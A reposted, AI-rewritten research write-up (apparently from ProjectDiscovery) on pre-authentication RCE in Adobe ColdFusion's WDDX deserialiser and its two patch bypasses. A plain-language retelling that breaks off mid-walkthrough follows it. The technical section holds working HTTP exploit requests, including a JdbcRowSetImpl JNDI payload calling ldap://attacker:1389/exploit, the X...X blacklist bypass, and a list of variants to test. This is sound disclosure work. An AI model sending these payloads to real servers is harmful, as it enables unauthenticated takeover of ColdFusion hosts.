Skip to content
RCE Write-up Advanced

Adobe ColdFusion Pre-Auth RCE(s)

A pre-authentication deserialisation flaw in Adobe ColdFusion's WDDX handling allowed an attacker to instantiate arbitrary Java classes and invoke their setter methods, leading to JNDI injection and remote code execution. The initial patch was bypassed due to a time-of-check time-of-use inconsistency, and a further bypass was possible.

Harsh Jaiswal Follow

Published on blog.projectdiscovery.io

Nuclei Research

Harsh Jaiswal (@rootxharsh), Rahul Maini (@iamnoooob), on blog.projectdiscovery.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

Context

Adobe ColdFusion is a web application development platform. One of the features it exposes is WDDX, an XML format for exchanging structured data between applications. ColdFusion can deserialise a WDDX packet supplied by a client, and the struct element of a packet can carry a type attribute naming a class whose properties are then populated from the packet's variables.

In July 2023 Adobe released a security update (APSB23-40) addressing three issues, among them CVE-2023-29300, a pre-authentication remote code execution vulnerability affecting ColdFusion 2018, 2021 and 2023. This write-up walks through the patch diff, the deserialisation path, the source that reaches it without authentication, and the escalation to code execution. It then covers what happened afterwards: a patch bypass that was disclosed unintentionally and assigned CVE-2023-38203, and a second bypass of the blacklist validation itself, assigned CVE-2023-38204.

Adobe ColdFusion Pre-Auth RCE(s)
Adobe ColdFusion Pre-Auth RCE(s) From the original on blog.projectdiscovery.io

Setup

The researchers already had an Adobe ColdFusion 2021 installation in their lab from previous work. When security update version 7 became available they backed up the installation directory and installed it, so that they could diff the changes and roll back if needed. The comparison was done with git diff.

No accounts or special roles are needed to reach the vulnerable path: the whole point of the finding is that the source is pre-authentication. The work involved reading the decompiled codebase, a JVM debugger with breakpoints for tracing the parsing, a rogue LDAP server for the JNDI step, ysoserial for generating the deserialisation payload, and Nuclei for scanning.

Finding it

The diff showed notable changes in coldfusion.wddx.DeserializerWorker.java, the WDDX packet deserialiser. In the startElement method a new validation is performed through validateWddxFilter() when the element is a struct:

Java
    public void startElement(String name, AttributeList atts) throws SAXException {
        try {
			...
            if (name.equalsIgnoreCase("struct") && atts.getType(0) != null) {
                validateWddxFilter(atts);
            }
           ...
        } catch (WddxDeserializationException e) {
            throwSAXException(e);
        }
    }

   private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException {
        String attributeType = atts.getValue("type");
        validateBlockedClass(attributeType);
    }

    private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {
        if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {
            throw new InvalidWddxPacketException();
        }
    }

The struct element now has a check on its type attribute: the class name must begin with coldfusion and pass additional secondary checks. The presence of validateBlockedClass taking a fully qualified class name indicates that a FQCN would be passed as the type attribute.

From the original on blog.projectdiscovery.io

Parsing the packet

Each WDDX element maps to a handler; the struct element is handled by StructHandler. Since the patch touched the struct element, that is where the researchers focused. A packet of the relevant shape looks like this:

<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket>

Reading, debugging and tracing breakpoints gave the code flow of the interesting part:

onEndElement() -> getClassBySignature() -> setBeanProperties()

Java reflection is used extensively in these blocks, which suggests user input ends up in reflective invocations.

Exploitation

Step 1: reach the reflective instantiation

In onEndElement() a check is made on m_strictType, which is set earlier when the type attribute is present in the struct element:

    public void onEndElement() throws WddxDeserializationException {

        if (this.m_strictType == null) {
            setTypeAndValue(this.m_ht);
            return;
        }
        try {
            Class beanClass = getClassBySignature(this.m_strictType);
            Object bean = beanClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);
            setBeanProperties(bean, this.m_ht);
            setTypeAndValue(bean);
        } catch (Exception e) {
			...
        }
    }

When m_strictType is set, getClassBySignature() is called with the user-controlled value. It derives the class name by removing the first and last characters, because the input is expected in the [LclassName; array notation form:

    private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {
        char c = jniTypeSig.charAt(0);
        switch (c) {
            ...
            default:
                String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1);
                return Class.forName(className);
        }
      }

The class is loaded with Class.forName, its no-argument constructor is invoked, and the resulting instance is passed to setBeanProperties() together with m_ht, the map of WDDX variables from the packet.

Step 2: understand what gets invoked

setBeanProperties() introspects the bean and invokes setters with values converted from the packet:

Java
    private void setBeanProperties(Object bean, Map props) throws WddxDeserializationException {
        Hashtable descriptors;
        try {
            BeanInfo beanInfo = Introspector.getBeanInfo(bean.getClass(), Object.class);
            PropertyDescriptor[] descriptorArray = beanInfo.getPropertyDescriptors();
            descriptors = new Hashtable();
            for (int i = 0; i < descriptorArray.length; i++) {
                descriptors.put(descriptorArray[i].getName(), descriptorArray[i]);
            }
        } catch () {
            ...
        }
        for (String propName : props.keySet()) {
            Object propValue = props.get(propName);
            IndexedPropertyDescriptor indexedPropertyDescriptor = (PropertyDescriptor) descriptors.get(propName);
            if (indexedPropertyDescriptor != null) {
                if (indexedPropertyDescriptor instanceof IndexedPropertyDescriptor) {
                    ...
                } else {
                    Method method2 = indexedPropertyDescriptor.getWriteMethod();
                    if (method2 != null) {
                        try {
                            Class[] types2 = method2.getParameterTypes();
                            Object value2 = ObjectConverter.convert(propValue, types2[0]);
                            method2.invoke(bean, value2);
                        } catch () {
                            ...
                        }
                    }
                }
               ...
            }
        }
    }

getPropertyDescriptors() returns a PropertyDescriptor per bean property, carrying the property name, its data type and its getter and setter. The getWriteMethod of a descriptor is the setter. If the bean has a setter matching a variable name in the packet, that setter is invoked through reflection with the variable's value as its only argument, and both the class and the value come from the user-controlled packet.

The conditions for calling a method of a class are therefore:

  1. The class must have a public constructor with no arguments.
  2. The method must be a setter, indicated by its name starting with "set".
  3. The setter method must accept only one argument.

Step 3: find a pre-authentication source

Searching the decompiled codebase for WddxDeserializer turned up a call from the FilterUtils class:

    public static Object WDDXDeserialize(String str) throws Throwable {
        WddxDeserializer deserializer = new WddxDeserializer();
        InputSource source = new InputSource(new StringReader(str));
        return deserializer.deserialize(source);
    }

It is used inside GetArgumentCollection, which takes the request context, reads the argumentCollection parameter from the URL or the form, and checks whether the value is JSON. If it is not, the value is deserialised as a WDDX packet:

    public static Map GetArgumentCollection(FusionContext context) throws Throwable {
        Struct argumentCollection;
        HttpServletRequest httpServletRequest = context.request;
        String attr = (String) context.pageContext.findAttribute("url.argumentCollection");
        if (attr == null) {
            attr = (String) context.pageContext.findAttribute("form.argumentCollection");
        }
        if (attr == null) {
            argumentCollection = new Struct();
        } else {
            String attr2 = attr.trim();
            if (attr2.charAt(0) == '{') {
                argumentCollection = (Struct) JSONUtils.deserializeJSON(attr2);
            } else {
                argumentCollection = (Struct) WDDXDeserialize(attr2); // Call to vulnerable Sink here
            }
        }

Reading the codebase and external articles from Rapid7 on previous CVEs made clear that a valid CFC endpoint is required to trigger the call to GetArgumentCollection and reach WDDXDeserialize(). The sample request uses /CFIDE/adminapi/accessmanager.cfc, which is a pre-auth valid CFC endpoint.

Step 4: confirm the primitive

To validate the primitive the researchers set up a JVM debugger with a breakpoint on the method invoke call and chose java.util.Date, a simple class that satisfies the three conditions and has a setter such as setDate. The request carries a WDDX packet in argumentCollection:

HTTP
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xjava.util.Datex'><var name='date'><string>our_input</string></var></struct></data></wddxPacket>

The packet's struct has type='xjava.util.Datex' and one variable named date holding the string our_input. The var named date maps to the setDate setter, whose single argument is converted from the string value. The breakpoint confirmed that java.util.Date.setDate(our_input) was executed.

Step 5: escalate through JNDI

The next goal was to turn the setter invocation into remote code execution. The class com.sun.rowset.JdbcRowSetImpl fits the conditions. Passing a boolean to its setAutoCommit() method makes it perform a JNDI lookup on the data source name, which can be set with setDataSourceName(). Calling setDataSourceName() followed by setAutoCommit() therefore produces a JNDI injection. Because the method invocations happen inside a loop, multiple methods can be invoked on the same bean instance.

HTTP
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>

Here the type loads com.sun.rowset.JdbcRowSetImpl, the dataSourceName variable sets the LDAP URL, and the autoCommit boolean triggers the lookup. The class path contained several libraries, and commons-beanutils-1.9.4 stood out. A ysoserial Java deserialisation payload for commons-beanutils was bound on a rogue LDAP server, and the result was remote code execution on Adobe ColdFusion 2021 (Update 6).

From the original on blog.projectdiscovery.io

A Nuclei template for CVE-2023-29300 is available in the Nuclei-Templates repository, and scanning can be run as follows:

Bash
nuclei -id CVE-2023-29300 -list coldfusion_list.txt
From the original on blog.projectdiscovery.io

Root cause

The WDDX struct handler takes the type attribute from the packet, loads that class by name, instantiates it through its no-argument constructor, and then invokes setters on it with values taken from the packet. The class name and the values are both attacker-controlled, so any class on the class path with a public no-argument constructor and a single-argument setter becomes a gadget. com.sun.rowset.JdbcRowSetImpl turns the setter invocation into a JNDI lookup, and the presence of commons-beanutils on the class path turns the lookup into code execution.

The patch added a check that the class name starts with coldfusion and a blacklist check through WddxFilter.invoke(). The researchers initially assumed the fix whitelisted only coldfusion* classes. That assumption was wrong: they had overlooked WddxFilter.invoke(), nested inside the if statement, which prevents invocation of certain blacklisted classes reported by the original finder of CVE-2023-29300. com.sun.rowset.JdbcRowSetImpl was not on that blacklist, so the published analysis of an n-day turned out to be a 0-day. Adobe released an update blacklisting the class and assigned it CVE-2023-38203 on 2023-07-14.

The previous exploits kept working after that patch. The bypass was not limited to circumventing the blacklisted class: it bypassed the blacklist validation entirely, through a time-of-check to time-of-use inconsistency. In the updated DeserializationWorker:

Java
    private void validateWddxFilter(AttributeList atts) {
        String attributeType = atts.getValue("type");
        if (attributeType.endsWith(";")) {
            attributeType = attributeType.replace(";", "");
        }
        if (attributeType.startsWith("L")) {
            String attributeTypeCopy = attributeType;
            validateBlockedClass(attributeTypeCopy.replaceFirst("L", ""));
        }
        validateBlockedClass(attributeType);
    }

    private void validateBlockedClass(String attributeType) {
        if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && ... && WddxFilter.invoke(attributeType)) {
            throw new InvalidWddxPacketException();
        }
    }

The filter expects the L and ; characters of the array notation and strips them before matching. The input Lcom.sun.rowset.JdbcRowSetImpl; matches and is blocked. The input Xcom.sun.rowset.JdbcRowSetImplX does not match. Meanwhile StructHandler still removes the first and last characters before loading the class:

    private static Class getClassBySignature(String jniTypeSig) {

    char c = jniTypeSig.charAt(0);
    switch (c) {
        ...
        case 'E':
        case 'G':
        case 'H':
        case 'K':
        case 'L':
        case 'M':
        case 'N':
        case 'O':
        case 'P':
        case 'Q':
        case 'R':
        case 'T':
        case 'U':
        case 'V':
        case 'W':
        case 'X':
        case 'Y':
        default:
            String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1);
            return Class.forName(className);
        ...
    }

}

Xcom.sun.rowset.JdbcRowSetImplX is not a valid class name, but the substring operation removes the first and last characters before use. The check compares X<class name>X against the filtered <class name>, so the two do not match and the blacklist is never applied to the class that is actually loaded.

Impact

An unauthenticated attacker can execute arbitrary code on vulnerable ColdFusion 2018, 2021 and 2023 installations. Exploitation typically requires access to a valid CFC endpoint; the sample uses /CFIDE/adminapi/accessmanager.cfc, which is pre-auth. If the default pre-auth CFC endpoints cannot be reached directly because of ColdFusion lockdown mode, the vulnerability can be combined with CVE-2023-29298 to achieve remote code execution against a locked-down instance.

The previous exploits kept working after the CVE-2023-38203 patch: the bypass was not limited to circumventing the blacklisted class but bypassed the blacklist validation entirely, and this became CVE-2023-38204. Adobe's comment on the final advisory notes that CVE-2023-38205 has been exploited in the wild in limited attacks targeting Adobe ColdFusion.

Timeline

Date Event
2023-07-11 Adobe issues APSB23-40 security advisory for CVE-2023-29300.
2023-07-12 ProjectDiscovery publishes CVE analysis blog post on CVE-2023-29300.
2023-07-13 Original finder of CVE-2023-29300 alerts the researchers to possible 0-day publication; Adobe Prod Security requests blog unpublishing.
2023-07-14 Adobe releases APSB23-41 to address the CVE-2023-29300 bypass, now designated CVE-2023-38203.
2023-07-15 The researchers notify Adobe of a vulnerability in the patch, providing technical details.
2023-07-18 Adobe shares a pre-release build for patch confirmation.
2023-07-18 Rapid7 publishes a blog on active exploitation of Adobe ColdFusion RCE exploits; their insights align closely with the actual situation except that at that time the latest release for CVE-2023-38203 was still vulnerable to the initial exploit.
2023-07-19 Adobe releases APSB23-47 to address the exploit, now assigned as CVE-2023-38204.

The researchers state that their intention was never to publish a 0-day exploit or cause harm to ColdFusion customers; the goal was to share information about a resolved vulnerability, raise awareness and offer a Nuclei template for detection. The patch bypass was disclosed inadvertently.

From the original on blog.projectdiscovery.io

Fix

Adobe addressed the issues in successive updates: APSB23-40 for CVE-2023-29300, APSB23-41 for CVE-2023-38203 and APSB23-47 for CVE-2023-38204. Adobe shared a pre-release build for patch confirmation, and testing confirmed that all the reported issues had been addressed in that patch. Adobe recommends updating ColdFusion installations to the latest release.

Variants to test

  1. Other single-argument setters on the class path. Enumerate classes with a public no-argument constructor and a one-argument setter, and try each as the type value wrapped in the x...x form. A positive result is the setter being invoked with the packet's value, visible in a debugger or through a side effect such as a DNS or LDAP callback.
  2. JNDI-capable beans. Look for classes whose setters lead to a lookup, as JdbcRowSetImpl does with setDataSourceName plus setAutoCommit. A positive result is an outbound connection to your LDAP or DNS listener when the packet is submitted.
  3. Wrapper characters around the class name. Try the X...X wrapping and the L...; form against each patched build. A positive result is the payload being blocked with L...; but still executing with X...X, which indicates the check and the class loading disagree on how the name is parsed.
  4. Pre-auth CFC endpoints. Test /CFIDE/adminapi/accessmanager.cfc and other default CFC endpoints with method=foo&_cfclient=true and an argumentCollection value. A positive result is the WDDX packet being parsed rather than rejected.
  5. Lockdown mode. Where default pre-auth endpoints are blocked, combine the WDDX path with CVE-2023-29298. A positive result is reaching the deserialiser on an instance configured in locked-down mode.
  6. Detection at scale. Run the published template against an asset list and confirm findings manually:
Bash
nuclei -id CVE-2023-29300 -list coldfusion_list.txt
Stop Pentesting. Start Programming.
Stop Pentesting. Start Programming. From the original on blog.projectdiscovery.io
CVE-2023-36934 Analysis: MOVEit Transfer SQL Injection
CVE-2023-36934 Analysis: MOVEit Transfer SQL Injection

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 30 min read.

What happened, in plain words

In July 2023, two security researchers at ProjectDiscovery, Harsh Jaiswal and Rahul Maini, looked at a security update Adobe had just released for a product called ColdFusion. ColdFusion is a piece of software that companies install on their web servers to build and run web applications. The update was meant to fix several security problems, one of which was a way for an attacker to run their own commands on a ColdFusion server without logging in first. That kind of flaw is called a pre-authentication remote code execution, or pre-auth RCE for short.

The researchers backed up their installation, installed the update, and compared the files with git diff to see what Adobe had changed. They found that the fix added a validation in the WDDX packet deserialiser, which handles structured data sent between programs. They then traced how ColdFusion reads that data, found that it could be tricked into loading and calling pieces of Java code chosen by the attacker, and turned that into full command execution.

What makes the story unusual is what happened next. The researchers published their analysis believing they were writing about an already-fixed problem. In fact, they had overlooked a part of the fix, so their write-up of an n-day turned out to be a 0-day. Adobe released another patch, the researchers found that patch could also be bypassed, and a third update resolved the bypass. The three issues ended up with three separate identifiers: CVE-2023-29300, CVE-2023-38203 and CVE-2023-38204.

This article walks through the whole story in the same order the researchers told it, explaining each idea from scratch as it comes up.

Adobe ColdFusion Pre-Auth RCE(s)
Adobe ColdFusion Pre-Auth RCE(s) From the original on blog.projectdiscovery.io

The setting: what the researchers had and what they used

Before any of this started, the researchers already had an Adobe ColdFusion 2021 installation running in their own lab. A lab here means a test machine they control, not a customer's server. They had set it up during earlier research, so it was ready to use.

When Adobe released security update version 7, the researchers did three things, in this order:

  1. They made a backup copy of the whole ColdFusion installation folder. A backup is simply a duplicate you keep somewhere safe, so that if the update breaks something you can put the old files back. This is what people mean by rolling back.
  2. They installed the update on top of the existing installation.
  3. They compared the files before and after using a tool called git diff.

git diff is a command from Git, a program normally used to track changes in source code. You give it two versions of a set of files and it prints, line by line, what was added, removed or altered. Think of it like a word processor's track-changes view, except it works on whole folders of code and shows the differences as text. The researchers used it here not to manage their own code but as a convenient way to spot what Adobe had changed between the two versions of ColdFusion.

No user account or special permission was needed to reach the vulnerable part of ColdFusion. That is the whole point of the finding: the attack path is reachable before anyone logs in. In everyday terms, it is like finding that a building's back door opens without a key, before you ever reach the reception desk.

The other tools they mention are worth naming, because each one appears later:

  • A decompiler: ColdFusion ships as compiled Java code, which is not directly readable by humans.
  • A JVM debugger: the JVM, or Java Virtual Machine, is the program that runs Java code. A debugger lets you pause a running program at a chosen line, called a breakpoint, and inspect what is in memory at that moment. It is like being able to freeze a video at an exact frame and look around.
  • A rogue LDAP server: LDAP is a protocol computers use to look things up in a directory, similar in spirit to a phone book. A rogue one is a server the researcher controls, pretending to be a legitimate directory, used to see whether the target will connect to it.
  • ysoserial: a well-known tool that generates ready-made malicious Java objects for testing.
  • Nuclei: a scanner from ProjectDiscovery that checks a list of machines for known problems using small rule files called templates.

Finding it: reading the patch

The diff showed notable changes in a file called coldfusion.wddx.DeserializerWorker.java. The name tells you what it does: it is the part of ColdFusion that takes a WDDX packet and turns it back into live data inside the program. That process is called deserialisation. Serialisation is turning an object in memory into a stream of text or bytes so it can be stored or sent; deserialisation is the reverse, rebuilding the object from that stream.

WDDX itself is an XML format. XML is a way of writing structured data using tags in angle brackets, much like HTML but for data rather than web pages. A WDDX packet is therefore a piece of XML that describes values: strings, numbers, lists, and so on.

Inside the startElement method of DeserializerWorker, the researchers saw that a new validation is performed through validateWddxFilter() whenever the element being read is a struct:

Java
    public void startElement(String name, AttributeList atts) throws SAXException {
        try {
			...
            if (name.equalsIgnoreCase("struct") && atts.getType(0) != null) {
                validateWddxFilter(atts);
            }
           ...
        } catch (WddxDeserializationException e) {
            throwSAXException(e);
        }
    }

   private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException {
        String attributeType = atts.getValue("type");
        validateBlockedClass(attributeType);
    }

    private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {
        if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {
            throw new InvalidWddxPacketException();
        }
    }

Line by line, in plain words:

  • public void startElement(String name, AttributeList atts) declares a method that the XML parser calls every time it opens a new tag. name is the tag's name, and atts is the list of attributes written inside that tag.
  • if (name.equalsIgnoreCase("struct") && atts.getType(0) != null) asks two questions: is this tag a struct (ignoring upper or lower case), and does it have at least one attribute? If both are true, the new check runs.
  • validateWddxFilter(atts) is the new function Adobe added. It takes the attributes and inspects them.
  • Inside validateWddxFilter, atts.getValue("type") pulls out the value of the attribute literally named type, and stores it in a variable called attributeType.
  • validateBlockedClass(attributeType) then decides whether that value is allowed.
  • The long if in validateBlockedClass is a chain of conditions joined by &&, which means "and". The whole block only throws an error, InvalidWddxPacketException, if every one of these is true: the value is not empty; it does not start with coldfusion (case-insensitive); it is not one of three special struct type names; and WddxFilter.invoke(attributeType) returns true. In other words, the packet is rejected unless the class name begins with coldfusion or is one of the allowed special values, and unless the blacklist filter does not object.

A class in Java is a blueprint for an object: it bundles data and the operations that can be performed on that data. A fully qualified class name, or FQCN, is the full address of a class including its package, for example java.util.Date, where java.util is the package and Date is the class. The fact that validateBlockedClass takes a fully qualified class name tells the researchers that a class name is expected in the type attribute, and therefore that class names coming from the packet reach the part of ColdFusion that loads classes.

From the original on blog.projectdiscovery.io

Parsing the packet

Every kind of WDDX element has its own handler, a piece of code responsible for that element. The struct element is handled by StructHandler. Since the patch touched the struct element, that is where the researchers focused their attention.

A struct in WDDX is a collection of named values, similar to a dictionary or a row in a spreadsheet where each cell has a label. A packet of the relevant shape looks like this:

<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket>

Reading it piece by piece:

  • <wddxPacket version='1.0'> opens the packet and states the format version.
  • <header/> is an empty header section. The slash before the closing bracket means the tag opens and closes at once.
  • <data> begins the actual payload.
  • <struct type='className'> opens a struct and, crucially, gives it a type attribute whose value is a class name. This is the attribute the patch was checking.
  • <var name='prop_name'> declares one named value inside the struct, called prop_name in this example.
  • <string>prop_value</string> gives that value as a string of text.
  • The closing tags </var>, </struct>, </data> and </wddxPacket> end each section in reverse order.

By reading the code, running it under the debugger and placing breakpoints at various points, the researchers worked out the flow of the interesting part:

onEndElement() -> getClassBySignature() -> setBeanProperties()

This notation means: when the parser finishes reading an element, it calls onEndElement; that in turn calls getClassBySignature; and that in turn calls setBeanProperties. Following a chain of function calls like this is how you trace where user input travels inside a program.

They also noticed that Java reflection is used extensively in these blocks. Reflection is a Java feature that lets a program inspect and manipulate classes and methods at runtime, by name, rather than having them fixed when the program is written. It is powerful and it is exactly what you need if you want to call a method whose name you only learn at the moment you receive it. The presence of reflection suggested that user input ends up in reflective invocations, meaning the program may end up calling methods chosen by whoever sent the packet.

Exploitation

Step 1: reach the reflective instantiation

In onEndElement() a check is made on a field called m_strictType. A field is a variable that belongs to an object and keeps its value between calls. This one is set earlier in the code when the type attribute is present in the struct element.

    public void onEndElement() throws WddxDeserializationException {

        if (this.m_strictType == null) {
            setTypeAndValue(this.m_ht);
            return;
        }
        try {
            Class beanClass = getClassBySignature(this.m_strictType);
            Object bean = beanClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);
            setBeanProperties(bean, this.m_ht);
            setTypeAndValue(bean);
        } catch (Exception e) {
			...
        }
    }

Line by line:

  • if (this.m_strictType == null) checks whether no type was supplied. If so, setTypeAndValue(this.m_ht) handles the struct the ordinary way and return exits the method. Nothing interesting happens for a plain struct.
  • If a type was supplied, the code enters the try block, which is a way of saying "attempt this and catch any errors".
  • getClassBySignature(this.m_strictType) turns the user-supplied type text into an actual Java class.
  • beanClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]) finds the class's constructor that takes no arguments and calls it, producing a new object. A constructor is the special routine that builds an object; a no-argument constructor builds one with default settings. The empty arrays new Class[0] and new Object[0] simply mean "zero arguments".
  • setBeanProperties(bean, this.m_ht) then fills in that new object's properties using m_ht, which holds the variables from the packet.
  • setTypeAndValue(bean) stores the finished object as the result of parsing this element.

When m_strictType is set, getClassBySignature() is called with the user-controlled value. It derives the class name by removing the first and last characters, because the input is expected in the [LclassName; array notation form:

    private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {
        char c = jniTypeSig.charAt(0);
        switch (c) {
            ...
            default:
                String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1);
                return Class.forName(className);
        }
      }

Line by line:

  • switch (c) then branches on that character. The ... hides cases not relevant here; the default branch is the one that matters.
  • jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1) takes a slice of the text starting after the first character and ending before the last one. In Java, substring(start, end) includes the character at start and excludes the one at end. So this drops the first and last characters.
  • Class.forName(className) asks Java to load the class with that name. Loading a class means finding its code and making it available to the program.

The [LclassName; notation is Java's internal way of writing "an array of objects of type className". The leading [L and trailing ; are markers. The code assumes the input is written that way and strips the markers. This detail becomes very important later.

The class is loaded with Class.forName, its no-argument constructor is invoked, and the resulting object is passed to setBeanProperties() together with m_ht, the map of WDDX variables from the packet. A map here is simply a collection that pairs names with values.

Step 2: understand what gets invoked

setBeanProperties() inspects the object and calls its setters with values converted from the packet:

Java
    private void setBeanProperties(Object bean, Map props) throws WddxDeserializationException {
        Hashtable descriptors;
        try {
            BeanInfo beanInfo = Introspector.getBeanInfo(bean.getClass(), Object.class);
            PropertyDescriptor[] descriptorArray = beanInfo.getPropertyDescriptors();
            descriptors = new Hashtable();
            for (int i = 0; i < descriptorArray.length; i++) {
                descriptors.put(descriptorArray[i].getName(), descriptorArray[i]);
            }
        } catch () {
            ...
        }
        for (String propName : props.keySet()) {
            Object propValue = props.get(propName);
            IndexedPropertyDescriptor indexedPropertyDescriptor = (PropertyDescriptor) descriptors.get(propName);
            if (indexedPropertyDescriptor != null) {
                if (indexedPropertyDescriptor instanceof IndexedPropertyDescriptor) {
                    ...
                } else {
                    Method method2 = indexedPropertyDescriptor.getWriteMethod();
                    if (method2 != null) {
                        try {
                            Class[] types2 = method2.getParameterTypes();
                            Object value2 = ObjectConverter.convert(propValue, types2[0]);
                            method2.invoke(bean, value2);
                        } catch () {
                            ...
                        }
                    }
                }
               ...
            }
        }
    }

Line by line:

  • Introspector.getBeanInfo(bean.getClass(), Object.class) asks Java to describe the object's class. A bean, in Java terminology, is just a class that follows a simple convention: its data is exposed through methods named getSomething and setSomething.
  • beanInfo.getPropertyDescriptors() returns an array of PropertyDescriptor objects. Each one describes a single property: its name, its data type, and the methods used to read and write it.
  • The for loop copies each descriptor into a Hashtable keyed by the property's name, so it can be looked up quickly later. A Hashtable is a map, a name-to-value store.
  • The second for loop walks through every variable name in the packet: for (String propName : props.keySet()).
  • Object propValue = props.get(propName) fetches the value that goes with that name.
  • descriptors.get(propName) looks up whether the object has a property with that name.
  • if (indexedPropertyDescriptor != null) skips names the object does not have.
  • getWriteMethod() returns the setter, the method used to write the property. A setter is a method whose job is to assign a value to a property; by convention its name starts with set.
  • method2.getParameterTypes() asks what type of argument the setter expects.
  • ObjectConverter.convert(propValue, types2[0]) converts the text value from the packet into that expected type, for example turning the text true into a boolean.
  • method2.invoke(bean, value2) calls the setter on the object, passing the converted value. This is reflection in action: the method is chosen by name at runtime.

So getPropertyDescriptors() returns a PropertyDescriptor per bean property, carrying the property name, its data type and its getter and setter. The getWriteMethod of a descriptor is the setter. If the bean has a setter matching a variable name in the packet, that setter is invoked through reflection with the variable's value as its only argument, and both the class and the value come from the user-controlled packet.

The conditions for calling a method of a class are therefore:

  1. The class must have a public constructor with no arguments.
  2. The method must be a setter, indicated by its name starting with "set".
  3. The setter method must accept only one argument.

Why these three? Because the code needs to build the object without knowing anything about it, so it needs a no-argument constructor. It finds methods by property name, so only setters are reachable. And it passes exactly one converted value, so the setter must take exactly one argument. Any class on the server that meets all three can be made to run one of its setters with a value the attacker chooses. Such a class is often called a gadget: an existing piece of code, harmless on its own, that becomes dangerous when an attacker can control how it is called.

Step 3: find a pre-authentication source

So far the researchers knew they could call setters, but only if they could get a WDDX packet into the deserialiser. The next question was: what part of ColdFusion accepts a WDDX packet from an anonymous visitor? Searching the decompiled codebase for WddxDeserializer turned up a call from the FilterUtils class:

    public static Object WDDXDeserialize(String str) throws Throwable {
        WddxDeserializer deserializer = new WddxDeserializer();
        InputSource source = new InputSource(new StringReader(str));
        return deserializer.deserialize(source);
    }

Line by line:

  • public static Object WDDXDeserialize(String str) declares a method that takes a piece of text and returns an object. static means it belongs to the class itself rather than to a particular instance.
  • new WddxDeserializer() creates the deserialiser object.
  • new StringReader(str) wraps the text so it can be read like a stream, character by character.
  • new InputSource(...) adapts that stream into the form the XML parser expects.
  • deserializer.deserialize(source) does the actual work: parse the text and rebuild the data.

It is used inside GetArgumentCollection, which takes the request context, reads the argumentCollection parameter from the URL or the form, and checks whether the value is JSON. If it is not, the value is deserialised as a WDDX packet:

    public static Map GetArgumentCollection(FusionContext context) throws Throwable {
        Struct argumentCollection;
        HttpServletRequest httpServletRequest = context.request;
        String attr = (String) context.pageContext.findAttribute("url.argumentCollection");
        if (attr == null) {
            attr = (String) context.pageContext.findAttribute("form.argumentCollection");
        }
        if (attr == null) {
            argumentCollection = new Struct();
        } else {
            String attr2 = attr.trim();
            if (attr2.charAt(0) == '{') {
                argumentCollection = (Struct) JSONUtils.deserializeJSON(attr2);
            } else {
                argumentCollection = (Struct) WDDXDeserialize(attr2); // Call to vulnerable Sink here
            }
        }

Line by line:

  • context.request is the incoming web request. A request is what your browser sends to a server when you load a page or submit a form.
  • findAttribute("url.argumentCollection") looks for a parameter named argumentCollection in the URL, the part after the question mark. A parameter is a named value sent with a request, like ?name=value.
  • If it is not in the URL, the code looks in the form data, which is what a submitted HTML form sends.
  • If it is nowhere, an empty struct is used.
  • Otherwise attr.trim() removes leading and trailing spaces.
  • attr2.charAt(0) == '{' checks whether the first character is a curly brace. A curly brace is how JSON objects begin. JSON is a common text format for structured data, widely used by web applications.
  • If it starts with {, the value is parsed as JSON.
  • Otherwise, WDDXDeserialize(attr2) is called. The comment in the code marks this as the vulnerable sink. A sink is the place in a program where untrusted input finally does something dangerous.

